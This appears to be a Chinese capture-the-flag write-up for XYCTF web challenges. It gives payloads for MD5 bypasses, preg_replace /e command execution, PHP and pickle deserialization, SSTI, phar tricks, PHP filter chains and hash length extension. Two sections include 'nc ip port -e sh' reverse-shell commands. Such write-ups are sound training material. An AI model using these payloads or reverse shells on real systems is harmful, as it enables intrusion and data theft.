ezhttp
打开是登录页面,先看源码,源码提示:
1 | <!-- 为了防止忘记密码,我把它们放在某个地方了 --> |
第一反应是robots.txt,进去看看。
得到/l0g1n.txt,进入得到帐号密码:
1 | username: XYCTF |
登录后,开始正常修改http请求头,先抓个包,
1 | 提示:不是 yuanshen.com 来的我不要 |
1 | 你用的不是XYCTF的浏览器 |
1 | 非本地用户禁止访问! |
1 | xff 打咩!!! |
1 | 不是从 ymzx.qq.com 代理来的我不玩 |
1 | 有点饿,想吃点XYCTF的小饼干 |
1 | 恭喜你拿到flag! |
最终http包:
1 | POST /index.php |
warm up
第一层是md5弱比较
1 | val1=QNKCDZO&val2=QLTHNDT |
第二层$md5 == md5($md5)
所以就是找自身和md5加密后都是0e开头,且后面都是纯数字的字符串
1 | md5=0e215962017 |
第三层首先要过$XY == $XYCTF
$XYCTF = “Warm up”;给定了,但是有个extract($_GET);可以变量覆盖。所以我们只需要给XY和XYCTF传相同的值即可。然后要过md5弱比较
1 | $XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591") |
经过查询,发现md5(“XYCTF_550102591”)是0e开头的字符串,那么直接老样子绕过即可
1 | XY=QLTHNDT&XYCTF=QLTHNDT |
最终payload:
1 | val1=QNKCDZO&val2=QLTHNDT&md5=0e215962017&XY=QLTHNDT&XYCTF=QLTHNDT |
下一关:LLeeevvveeelll222.php
首先要过
1 | !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a']) |
a不能是数字,但是intval会返回1,了解intval函数特性可以知道:
1 | 成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。 |
那么传a[]=a
下一步执行命令:
1 | echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); |
这里是preg_replace在/e模式下可以任意命令执行的特性。
补充一下preg_replace的用法:
1 |
|
preg_replace /e 模式下的代码执行
1 |
|
答案很明了了
1 | GET:a=/test/e&b=system("cat%20/flag")&c=test |
ezmd5
让我们上传图片并比较,结合题目名可以猜测应该是比较两个图片的md5值是否相同,用fastcoll工具生成两个相同的图片,然后上传即可。
ezMake
很若至的非预期,出题人居然这个也能忘关flag路由,访问即送flag:
1 | http://localhost:39701/flag |
正常做法是makefile读取文件内容,在Makefile中,你可以使用$(shell)函数来读取文件内容。
假设你的文件名为file.txt,你可以使用以下命令来读取文件内容:
1 | content := $(shell cat file.txt) |
上述命令将文件file.txt的内容存储在变量content中。你可以根据需要将其用于后续的操作。
如果你需要按行读取文件内容,可以使用$(shell)函数和foreach函数的结合:
1 | lines := $(shell cat file.txt) $(foreach line,$(lines), \ $(info $(line)) \ ) |
把file.txt改成flag即可。
ez?Make
fuzz一下,过滤了较多命令,但是nc未过滤,直接连服务器。
1 | nc ip port -e sh |
牢牢记住,逝者为大
过滤了很多命令,但反引号没过滤,可以用反引号当shell_exec()函数执行命令。
eval前面和后面都有脏数据,最简单的办法是换行和注释绕过。分别在最前和最后加上%0a、%23
这道题没过滤nc,所以照样可以让这边连我们的服务器。
因为cmd有长度限制,所以我们可以用$_GET[1]传递参数。
记得eval中的命令都必须要加分号。
最终payload:
1 | ?cmd=%0a`$_GET[1]`;%23&1=nc ip port -e sh |
ezPOP
链子很简单,这里不再赘述:
1 | CCC-> echo $this->c; 触发AAA->__toString() |
链子的起点是__destruct() ,而代码中有throw new Exception(“noooooob!!!”);
这里需要Fast__destruct()
1 | $b[0] = $a; |
我们主要看BBB->__get() 方法
1 | $a=$_POST['a']; |
这里直接给答案再分析。
1 | POST:a=array_pop&2[]=array_pop |
array_pop() 函数删除数组中的最后一个元素。并返回最后一个元素。
第一步变成了:
1 | array_pop(array("array_pop"))(array("system"))("cat /flag") |
第二步变成了:
1 | array_pop(array("system"))("cat /flag") |
第三步变成了:
1 | system("cat /flag"); |
最终生成payload的php
1 |
|
最终payload:
1 | GET:?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";a:1:{i:0;s:6:"system";}s:1:"d";s:9:"cat /flag";}s:1:"a";N;}}i:0;N;} |
ezRCE
安洵杯2020 Web-Bash-Vino0o0o原题削弱版本。
修改一下官方wp里的脚本。
安洵杯2020 Web-Bash-Vino0o0o这个题数字需要自己构造,但是这里直接给了。
1 | n = dict() |
打入payload一把嗦。
我是一个复读机
这个题原来的题目描述可没有”说英语”这三个字,真的谜语题了哈。
登录页面弱口令:
1 | admin:asdqwe |
ssti,过滤了大括号,但是汉字就是大括号。
过滤了很多东西。中括号,下划线,关键函数等,这些都可以用request.args绕过
其他就是很平常的ssti注入,这里不再赘述。
1 | ?sentence=哈()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(221)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)哈&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('os').popen('cat%20/flag').read() |
ezSerialize
第一层需要$this->token === $this->password;
但是这里的token是token=md5(mt_rand());
这里可以用同地址变量绕过。
1 |
|
这里让password的地址等于token的地址,那么当token改变的时候,我们的password就会相应地一起改变。
下一层:fpclosefpclosefpcloseffflllaaaggg.php
非常基础的反序列化,没有任何技巧,直接给链子。
1 | $a = new E(); |
下一层:saber_master_saber_master.php
主要是这一段:$this->adwa->crypto0 != ‘dev1l’ or $this->adwa->T1ng != ‘yuroandCMD258’
我们知道crypto0和T1ng分别在两个类中,adwa不可能既是XYCTFNO2的对象又是XYCTFNO1的对象。
但是
反序列化的本质,是我们传入的字符串,而不是题目里的,我们完全可以在XYCTFNO1类里装入crypto0和T1ng两个属性,并让adwa成为这个类的一个Object
1 |
|
最后原生类+伪协议读文件
1 | echo new $_POST['X']($_POST['Y']); |
最终payload:
1 | GET:?CTF=O:8:"XYCTFNO3":2:{s:7:"KickyMu";O:8:"XYCTFNO2":1:{s:4:"adwa";O:8:"XYCTFNO1":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:5:"N1ght";s:7:"oSthing";} |
pharme
一眼phar反序列化。源码里提示了class.php,这里可以文件包含。
1、
1 | if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){ |
主要是这段,if条件判断就是限制我们只能使用:A-Za-z _ ( ) ;
这些东西。很明显是想让我们经行无参数rce。第二个eval那里,后面加了脏数据。可以在命令的最后加上来绕过。
2、在上传页面,后端会检查我们上传的文件里是否含有__halt_compiler();
这里我们可以把我们生成的phar文件添加到压缩包里,然后把压缩包名字改成.jpg即可绕过。
3、在class.php页面的包含点,不能在开头使用phar://,这里可以用
1 | compress.zlib://phar:///test.phar |
4、我们无参数RCE的命令是随机根目录读文件
1 | readfile(array_rand(array_flip(scandir(dirname(dirname(dirname(pos(localeconv())))))))); |
5、最终exp:
1 |
|
将生成的phar文件压缩,改名jpg后上传,然后在class.php页面包含,多刷新几次就有flag了。
连连看到底是连连什么看
源码里只看index,藏了个what’s_this.php,现在源码没用了。这个题出的是最没水平的一个题,首先题目页面的小游戏跟题目毫无关系,其次让我们下载了源码,源码为了让我们知道有这么个php文件,为何要多此一举。
然后这个what’s_this.php的题也是原题了。在hscctf2024里有,当时一个师傅是非预期,这里不再展示。
做这道题我们需要一个工具。PHP_INCLUDE_TO_SHELL_CHAR_DICT
github上有这个工具的源码。
我们需要修改脚本的这个地方为题目中的/etc/passwd
1 | file_to_use = "/etc/passwd" |
如果直接用这个脚本,生成的数据后方有脏数据,只能过弱比较,但是这里是强比较。
这里的思路是经过多次的base64加密和解密,扔掉后方的脏数据。由于base64加密的次数不清楚,所以我们需要手动测试。
把你需要生成的字符串多次base64编码,**每次编码记得删除后面的=**,然后解密的时候记得自己在payload后面加上相应次数的|convert.base64-decode
多次尝试,直到生成完美的字符串为止。
1 | XYCTF->WFlDVEY= |
最后经过测试,六次base64编码后得到的字符串Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE可以使用。
1 | python php_filter_chain_generator.py --chain Vm0xd1ExbFhUWGhUYTJSWVlURndXVlpXUlE |
得到的payload我们取php://filter/$p/resource=/etc/passwd题目需要的$p的部分,并在最后加上六次的base64解密|convert.base64-decode
最终payload:
1 | ?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode |
ezClass
还是原生类,这里需要一个类里的一个方法,我们传什么就会return什么
1 | ?a=ArrayIterator&aa[]=system&b=ArrayIterator&bb[]=cat /f*&c=current |
ArrayIterator类里的current需要一个数组,会返回数组当前的元素。
login
有个register.php可以注册帐号,随便注册一个,随便登录,然后拿到cookie,一眼丁真是pickle反序列化,经过测试,发现过滤了R__reduce__
就换一种方式执行命令即可
1 | import base64 |
然后把payload打到cookie里,服务器开启监听反弹shell
give me flag
hash长度扩展攻击,去github上下载一个脚本,https://github.com/shellfeel/hash-ext-attack
在当前目录把脚本放进去
1 | import base64 |
每七八秒跑一次脚本,多跑几次就能出。
关于flag长度,推测是uuid长度+xyctf{}的长度为36+7=43
εZ?¿м@Kε¿?
1 | $$(<$<) |
ezLFI
通用文件包含:
1 | php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64- |